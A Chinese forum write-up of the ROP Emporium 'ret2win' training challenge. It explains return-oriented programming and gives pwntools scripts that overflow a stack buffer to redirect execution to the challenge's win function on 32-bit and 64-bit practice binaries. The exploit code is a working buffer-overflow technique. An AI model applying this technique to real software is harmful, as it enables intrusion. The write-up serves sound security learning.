-
-
[原创]ROP Emporium(一) ret2win
-
发表于:
2021-1-6 10:27
10636
-
[原创]ROP Emporium(一) ret2win
ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。
该项目同时提供了Beginners' Guide : 598K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5L8%4m8W2L8i4m8G2M7X3W2#2L8g2)9J5k6h3y4G2L8g2)9J5c8X3N6#2K9h3c8W2i4K6u0W2K9s2c8E0L8l9`.`.
该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。

未开启栈溢出保护
func main:

调用了pwnme()
func pwnme:

继续看,看到func ret2win:

基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win
的地址就可以


结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64


payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)

from
pwn
import
*
p
=
process(
"./ret2win32"
)
payload
=
"\x00"
*
0x28
+
p32(
0xdeadbeef
)
+
p32(
0x804862C
)
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
process(
"./ret2win32"
)
payload
=
"\x00"
*
0x28
+
p32(
0xdeadbeef
)
+
p32(
0x804862C
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课